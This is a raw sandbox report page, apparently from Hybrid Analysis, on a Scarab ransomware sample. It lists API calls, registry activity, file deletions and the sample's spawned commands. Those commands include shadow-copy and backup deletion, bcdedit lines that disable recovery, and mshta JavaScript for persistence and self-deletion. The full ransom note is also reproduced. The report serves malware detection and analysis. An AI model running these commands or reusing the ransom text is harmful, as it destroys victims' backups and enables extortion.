26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 34:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4bc,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Scarab.Generic Sample f0b52c82f259… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f0b52c82f259…. Malware family: Ransom.Scarab.Generic. Threat score 100/100. 19/26 AV engines flagged this file. 5 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","keywords":["Malicious","Ransom.Scarab.Generic","malware analysis","sandbox report","threat intelligence","f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed"],"about":{"@type":"SoftwareApplication","name":"Sample_5ad64c399a911230fa2fc0e7.false","applicationCategory":["peexe","executable"],"identifier":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Scarab.Generic","antivirusDetections":{"malicious":19,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4d2,GetVersionExA@KERNEL32.dll at 33971-1017-0040BE43 GetVersionExA@KERNEL32.dll at 33971-1-0041A8B0 GetVersion@KERNEL32.dll at 33971-1856-00415066 GetVersionExA@KERNEL32.dll at 33971-1658-0042D49B GetVersion@KERNEL32.dll at 33971-1509-004137C0 GetVersionExA@KERNEL32.dll at 33971-2097-0042D695 GetVersionExA@KERNEL32.DLL at 00026810-00002140-45647-1-0041A8B0 GetVersionExA@KERNEL32.DLL at 00026810-00002140-45647-355-0040BE43 GetVersionExA@KERNEL32.DLL at 00026810-00002140-45647-996-0042D49B GetVersion@KERNEL32.DLL at 00026810-00002140-45647-847-004137C0 GetVersion@KERNEL32.DLL at 00026810-00002140-45647-1193-00415066 GetVersionExA@KERNEL32.DLL at 00026810-00002140-45647-1434-0042D695 GetVersionExA@KERNEL32.DLL at 00030210-00002300-57375-1-0041A8B0 GetVersionExA@KERNEL32.DLL at 00030210-00002300-57375-878-0040BE43 GetVersion@KERNEL32.DLL at 00030210-00002300-57375-1358-004137C0 GetVersionExA@KERNEL32.DLL at 00030210-00002300-57375-1507-0042D49B GetVersionExA@KERNEL32.DLL at 00030210-00002300-57375-1945-0042D695 GetVersion@KERNEL32.DLL at 00030210-00002300-57375-1704-00415066 GetVersionExA@KERNEL32.DLL at 00032187-00003584-2532-904-0040D6E4 GetVersionExA@KERNEL32.DLL at 00032187-00003584-19761-1-0041A8B028:T1ab8,Found API call GetVersionExA@KERNEL32.dll (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe.bin"; Stream UID: "33971-1017-0040BE43") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "xor ecx, ebp". See related instructions: "...+33 call 004195D0h+38 add esp, 0Ch+41 lea eax, dword ptr [ebp-00000098h]+47 push eax+48 mov dword ptr [ebp-00000098h], 00000094h+58 call dword ptr [0042F240h] ;GetVersionExA+64 mov ecx, dword ptr [ebp-04h]+67 xor eax, eax+69 cmp dword ptr [ebp-00000088h], 02h+76 sete al+79 xor ecx, ebp" ... at 33971-1017-0040BE43 Found API call GetVersionExA@KERNEL32.dll (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe.bin"; Stream UID: "33971-1658-0042D49B") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "jne 0042D4DCh". See related instructions: "...+0 push ebp+1 mov ebp, esp+3 sub esp, 00000098h+9 mov eax, dword ptr [0043D288h]+14 xor eax, ebp+16 mov dword ptr [ebp-04h], eax+19 lea eax, dword ptr [ebp-00000098h]+25 push eax+26 mov dword ptr [ebp-00000098h], 00000094h+36 call dword ptr [0042F240h] ;GetVersionExA+42 cmp dword ptr [ebp-00000088h], 02h+49 jne 0042D4DCh" ... at 33971-1658-0042D49B Found API call GetVersionExA@KERNEL32.dll (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe.bin"; Stream UID: "33971-2097-0042D695") which is directly followed by "cmp dword ptr [ebp-10h], 02h" and "jne 0042D6F9h". See related instructions: "...+61 call 004195D0h+66 add esp, 0Ch+69 lea eax, dword ptr [ebp-20h]+72 push eax+73 mov dword ptr [ebp-20h], 00000094h+80 call dword ptr [0042F240h] ;GetVersionExA+86 cmp dword ptr [ebp-10h], 02h+90 jne 0042D6F9h" ... at 33971-2097-0042D695 Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00026810-00002140-45647-355-0040BE43") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "xor ecx, ebp". See related instructions: "...+33 call 004195D0h+38 add esp, 0Ch+41 lea eax, dword ptr [ebp-00000098h]+47 push eax+48 mov dword ptr [ebp-00000098h], 00000094h+58 call dword ptr [0042F240h] ;GetVersionExA+64 mov ecx, dword ptr [ebp-04h]+67 xor eax, eax+69 cmp dword ptr [ebp-00000088h], 02h+76 sete al+79 xor ecx, ebp" ... at 00026810-00002140-45647-355-0040BE43 Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00026810-00002140-45647-996-0042D49B") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "jne 0042D4DCh". See related instructions: "...+0 push ebp+1 mov ebp, esp+3 sub esp, 00000098h+9 mov eax, dword ptr [0043D288h]+14 xor eax, ebp+16 mov dword ptr [ebp-04h], eax+19 lea eax, dword ptr [ebp-00000098h]+25 push eax+26 mov dword ptr [ebp-00000098h], 00000094h+36 call dword ptr [0042F240h] ;GetVersionExA+42 cmp dword ptr [ebp-00000088h], 02h+49 jne 0042D4DCh" ... at 00026810-00002140-45647-996-0042D49B Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00026810-00002140-45647-1434-0042D695") which is directly followed by "cmp dword ptr [ebp-10h], 02h" and "jne 0042D6F9h". See related instructions: "...+61 call 004195D0h+66 add esp, 0Ch+69 lea eax, dword ptr [ebp-20h]+72 push eax+73 mov dword ptr [ebp-20h], 00000094h+80 call dword ptr [0042F240h] ;GetVersionExA+86 cmp dword ptr [ebp-10h], 02h+90 jne 0042D6F9h" ... at 00026810-00002140-45647-1434-0042D695 Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00030210-00002300-57375-878-0040BE43") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "xor ecx, ebp". See related instructions: "...+33 call 004195D0h+38 add esp, 0Ch+41 lea eax, dword ptr [ebp-00000098h]+47 push eax+48 mov dword ptr [ebp-00000098h], 00000094h+58 call dword ptr [0042F240h] ;GetVersionExA+64 mov ecx, dword ptr [ebp-04h]+67 xor eax, eax+69 cmp dword ptr [ebp-00000088h], 02h+76 sete al+79 xor ecx, ebp" ... at 00030210-00002300-57375-878-0040BE43 Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00030210-00002300-57375-1507-0042D49B") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "jne 0042D4DCh". See related instructions: "...+0 push ebp+1 mov ebp, esp+3 sub esp, 00000098h+9 mov eax, dword ptr [0043D288h]+14 xor eax, ebp+16 mov dword ptr [ebp-04h], eax+19 lea eax, dword ptr [ebp-00000098h]+25 push eax+26 mov dword ptr [ebp-00000098h], 00000094h+36 call dword ptr [0042F240h] ;GetVersionExA+42 cmp dword ptr [ebp-00000088h], 02h+49 jne 0042D4DCh" ... at 00030210-00002300-57375-1507-0042D49B Found API call GetVersionExA@KERNEL32.DLL (Target: "Sample_5ad64c399a911230fa2fc0e7.false.exe"; Stream UID: "00030210-00002300-57375-1945-0042D695") which is directly followed by "cmp dword ptr [ebp-10h], 02h" and "jne 0042D6F9h". See related instructions: "...+61 call 004195D0h+66 add esp, 0Ch+69 lea eax, dword ptr [ebp-20h]+72 push eax+73 mov dword ptr [ebp-20h], 00000094h+80 call dword ptr [0042F240h] ;GetVersionExA+86 cmp dword ptr [ebp-10h], 02h+90 jne 0042D6F9h" ... at 00030210-00002300-57375-1945-0042D695 Found API call GetVersionExA@KERNEL32.DLL (Target: "systems.exe"; Stream UID: "00032187-00003584-19761-878-0040BE43") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "xor ecx, ebp". See related instructions: "...+33 call 004195D0h+38 add esp, 0Ch+41 lea eax, dword ptr [ebp-00000098h]+47 push eax+48 mov dword ptr [ebp-00000098h], 00000094h+58 call dword ptr [0042F240h] ;GetVersionExA+64 mov ecx, dword ptr [ebp-04h]+67 xor eax, eax+69 cmp dword ptr [ebp-00000088h], 02h+76 sete al+79 xor ecx, ebp" ... at 00032187-00003584-19761-878-0040BE43 Found API call GetVersionExA@KERNEL32.DLL (Target: "systems.exe"; Stream UID: "00032187-00003584-19761-1945-0042D695") which is directly followed by "cmp dword ptr [ebp-10h], 02h" and "jne 0042D6F9h". See related instructions: "...+61 call 004195D0h+66 add esp, 0Ch+69 lea eax, dword ptr [ebp-20h]+72 push eax+73 mov dword ptr [ebp-20h], 00000094h+80 call dword ptr [0042F240h] ;GetVersionExA+86 cmp dword ptr [ebp-10h], 02h+90 jne 0042D6F9h" ... at 00032187-00003584-19761-1945-0042D695 Found API call GetVersionExA@KERNEL32.DLL (Target: "systems.exe"; Stream UID: "00032187-00003584-19761-1507-0042D49B") which is directly followed by "cmp dword ptr [ebp-00000088h], 02h" and "jne 0042D4DCh". See related instructions: "...+0 push ebp+1 mov ebp, esp+3 sub esp, 00000098h+9 mov eax, dword ptr [0043D288h]+14 xor eax, ebp+16 mov dword ptr [ebp-04h], eax+19 lea eax, dword ptr [ebp-00000098h]+25 push eax+26 mov dword ptr [ebp-00000098h], 00000094h+36 call dword ptr [0042F240h] ;GetVersionExA+42 cmp dword ptr [ebp-00000088h], 02h+49 jne 0042D4DCh" ... at 00032187-00003584-19761-1507-0042D49B29:T406,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SAMPLE_5AD64C399A911230FA2FC0E7.FALSE.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SAMPLE_5AD64C399A911230FA2FC0E7.FALSE.EXE") "" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SYSTEMS.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SYSTEMS.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE")2a:T8db,Spawned process "cmd.exe" with commandline "/c copy /y "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" "%APPDATA%\systems.exe"" (UID: 00030166-00001912) Spawned process "" with commandline "runas" (UID: 00030210-00002300) Spawned process "cmd.exe" with commandline "/c copy /y "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" "%APPDATA%\systems.exe"" (UID: 00032142-00001492) Spawned process "systems.exe" (UID: 00032187-00003584) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Sample_5ad64c399a911230fa2fc0e7.false.exe');close()}catch(e){}} 10);"" (UID: 00032191-00002316) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('systems.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\hezOH',i);}catch(e){}} 10);"" (UID: 00034177-00000576) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\QAWTY\\JCSJC'));close();"" (UID: 00034180-00000692) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00034576-00002476) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00034626-00002056) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00034678-00004036) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00034724-00003416) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00034729-00002680) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00034754-00003944) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00035073-00003688) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00035122-00003712) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00035305-00003032)2b:T434,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\hFp9nke\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\System32\mshta.exe" "" touched file "C:\Windows\System32\en-US\mshta.exe.mui" "" touched file "C:\Windows\system32\en\mshta.exe.mui"2c:T6ca,"systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78215069 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78235712 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78257779 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78268934 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78275371 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78285125 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78295090 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78301383 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78310997 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78328043 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78339032 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78347908 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78358855 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78368363 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78377884 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78394733 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78403497 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78413299 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-78421747 "systems.exe" queried SystemProcessInformation at 00032187-00003584-00000105-784363472d:T4f3,LockResource@KERNEL32.dll at 33971-1064-0040BD9E FindResourceA@KERNEL32.dll at 33971-1009-00410F60 FindResourceA@KERNEL32.dll at 33971-1063-0040BDD7 FindResourceA@KERNEL32.dll at 33971-1416-0040B8B3 FreeResource@KERNEL32.dll at 33971-1700-0040BBA8 FindResourceA@KERNEL32.DLL at 00026810-00002140-45647-401-0040BDD7 FindResourceA@KERNEL32.DLL at 00026810-00002140-45647-347-00410F60 FindResourceA@KERNEL32.DLL at 00026810-00002140-45647-146-0040176A LockResource@KERNEL32.DLL at 00026810-00002140-45647-147-004017A4 LockResource@KERNEL32.DLL at 00026810-00002140-45647-402-0040BD9E FindResourceA@KERNEL32.DLL at 00026810-00002140-45647-754-0040B8B3 FreeResource@KERNEL32.DLL at 00026810-00002140-45647-1037-0040BBA8 FindResourceA@KERNEL32.DLL at 00030210-00002300-57375-870-00410F60 LockResource@KERNEL32.DLL at 00030210-00002300-57375-147-004017A4 FindResourceA@KERNEL32.DLL at 00030210-00002300-57375-146-0040176A LockResource@KERNEL32.DLL at 00030210-00002300-57375-925-0040BD9E FindResourceA@KERNEL32.DLL at 00030210-00002300-57375-1268-0040B8B3 FindResourceA@KERNEL32.DLL at 00030210-00002300-57375-924-0040BDD7 FreeResource@KERNEL32.DLL at 00030210-00002300-57375-1548-0040BBA8 FindResourceA@KERNEL32.DLL at 00032187-00003584-2532-120-0042061C2e:Tfd0,"__________________________________________________________________________________________________| || *** IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS *** ||__________________________________________________________________________________________________|email - joxe1@cock.liYour files are now encrypted!-----BEGIN PERSONAL IDENTIFIER-----+4IAAAAAAAB1hq+OHZKJDYAkDANX0jt8zwWsIeASsP5f=3curZZfqeZi9HvaXR3ZUpHmVg4wvW=DkNu0ohJ8apW5uxCAO2isS69ri81qqWYvfhgmJ9rZV=axgfABj5YH6rW3Iy6CTC0NIJjUaCZat9mFYCa+mV7r6QV90n2s4o22CpOmviX7WP7sNBapLwdY1=170OW83+yrjlQm7pyEPZx9jSSAsjYiIcb0ikIzvigjUtAui=2clJp0tV5SVniVVaZp8XLMEWY4ozH61pX+d91ycU2lUX9j7MWQBv82Ha6+0O7s4sNe+sU+HX94H5H7C0VS0AeeUxEIkEIIZpQ8eixLIJTIH=pj+kcleOje=YT740rLplhOkq63cyCNY+QdtnI4R7MJtbKmMBzgJXEui70P2HEQZdzFOhd72FtYok0-----END PERSONAL IDENTIFIER-----All your files have been encrypted due to a security problem with your PC.Now you should send us email with your personal identifier.This email will be as confirmation you are ready to pay for decryption key.You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: joxe1@cock.liFree decryption as guarantee!Before paying you can send us up to 2 files for free decryption.The total size of files must be less than 1Mb (non archived), and files should not containvaluable information (databases, backups, large excel sheets, etc.). __________________________________________________________________________________________________| || How to obtain Bitcoins? || || * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click || 'Buy bitcoins', and select the seller by payment method and price: || https://localbitcoins.com/buy_bitcoins || * Also you can find other places to buy Bitcoins and beginners guide here: || http://www.coindesk.com/information/how-can-i-buy-bitcoins || ||__________________________________________________________________________________________________| __________________________________________________________________________________________________| || Attention! || || * Do not rename encrypted files. || * Do not try to decrypt your data using third party software, it may cause permanent data loss. || * Decryption of your files with the help of third parties may cause increased price || (they add their fee to our) or you can become a victim of a scam. || ||__________________________________________________________________________________________________|email - joxe1@cock.li" (Source: IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT, Indicator: "files have been encrypted") "All your files have been encrypted due to a security problem with your PC." (Source: IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT, Indicator: "files have been encrypted")2f:T551,"C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\systems.exe" for deletion "%APPDATA%\systems.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\systems.exe" for deletion "%APPDATA%\systems.exe" marked "C:\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AIR\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\Browser\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\IDTemplates\DEU\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\IDTemplates\ENU\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\Javascripts\я" for deletion "%APPDATA%\systems.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\Legal\DEU\я" for deletion "%WINDIR%\System32\mshta.exe" marked "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" for deletion30:T73b,"" opened "C:\Users\hFp9nke\AppData\Roaming\systems.exe" with delete access "systems.exe" opened "C:\Users\hFp9nke\AppData\Roaming\systems.exe" with delete access "systems.exe" opened "C:\я" with delete access "systems.exe" opened "C:\autoexec.bat" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\я" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Liesmich.htm" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\ReadMe.htm" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\я" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\Adobe.Reader.Dependencies.manifest" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AGMGPUOptIn.ini" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\cryptocme.sig" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\PDFSigQFormalRep.pdf" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\pmd.cer" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\RTC.der" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\я" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\cef.pak" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\я" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\en-US.pak" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AIR\я" with delete access "systems.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.DEU" with delete access31:T611,"" wrote 32 bytes to a remote process "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" (Handle: 572) "" wrote 52 bytes to a remote process "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" (Handle: 572) "" wrote 4 bytes to a remote process "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" (Handle: 572) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\systems.exe" (Handle: 656) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\systems.exe" (Handle: 656) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\systems.exe" (Handle: 656) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 408) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 408) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 408) "systems.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 532) "systems.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 532) "systems.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 532) "systems.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 536) "systems.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 536) "systems.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 536)32:T916,Spawned process "" (UID: 00026810-00002140) Spawned process "cmd.exe" with commandline "/c copy /y "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" "%APPDATA%\systems.exe"" (UID: 00030166-00001912) Spawned process "" with commandline "runas" (UID: 00030210-00002300) Spawned process "cmd.exe" with commandline "/c copy /y "C:\Sample_5ad64c399a911230fa2fc0e7.false.exe" "%APPDATA%\systems.exe"" (UID: 00032142-00001492) Spawned process "systems.exe" (UID: 00032187-00003584) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Sample_5ad64c399a911230fa2fc0e7.false.exe');close()}catch(e){}} 10);"" (UID: 00032191-00002316) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('systems.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\hezOH',i);}catch(e){}} 10);"" (UID: 00034177-00000576) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\QAWTY\\JCSJC'));close();"" (UID: 00034180-00000692) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00034576-00002476) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00034626-00002056) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00034678-00004036) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00034724-00003416) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00034729-00002680) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00034754-00003944) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00035073-00003688) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00035122-00003712) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00035305-00003032)33:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMz